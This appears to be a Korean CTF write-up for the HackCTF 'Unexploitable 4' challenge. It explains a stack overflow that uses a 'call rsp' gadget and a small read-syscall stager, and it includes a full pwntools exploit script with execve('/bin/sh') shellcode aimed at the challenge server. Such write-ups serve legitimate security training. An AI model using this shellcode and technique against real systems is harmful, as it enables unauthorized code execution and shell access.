pwn/HackCTF
HackCTF/ Unexploitable 4
lok2h4rd
2022. 4. 21. 19:35
IDA로 main함수 봤을때는 클났다 싶었는데 Unexploitable #3보다 쉬웠다
근데 내 로컬에서 분석했을때는 bss영역에 실행권한이 없었는데 다른 분들 풀이 보니까 있었다....
dreahack에서도 이거와 관련한 글이 있어서 나중에 하나하나 봐야겠다
https://dreamhack.io/forum/community/1612
왜 validator 문제는 푸는 사람에 따라 bss에 실행권한이 다를까?
대충 이 이야기의 시작은, 오래전 작년 12월로 넘어간다.. 오픈 카톡 채팅방에 정도비님이 물어보셨다. 내 컴퓨터에서는 bss 섹션에 X가 없는데, 다른 사람 라이트업을 보니 b…
dreamhack.io
write-up
단순한 stack buffer overflow가 터진다
어.... 난이도가 급격히 줄어들었다
call rsp가젯을 ret에 넣고 call rsp를 하게되면 11byte의 쉘코드를 실행시킬 수 있다
read syscall를 호출하는 쉘코드를 실행시켜서 다시 스택에 쉘코드를 덮어써서 쉘을 띄우는 쉘코드를 시켜 익스했다
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3039)
#p = process("./Unexploitable_4")
#gdb.attach(p)
call_rsp = 0x00400661
read_shell = b"\x5a\x48\x31\xff\x48\x89\xe6\x0f\x05"
final_shell = b""
final_shell += b"\x90" * 0x20
final_shell += b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload = b"A" * 0x18
payload += p64(call_rsp)
payload += read_shell
p.sendline(payload)
sleep(0.1)
p.send(final_shell)
p.interactive()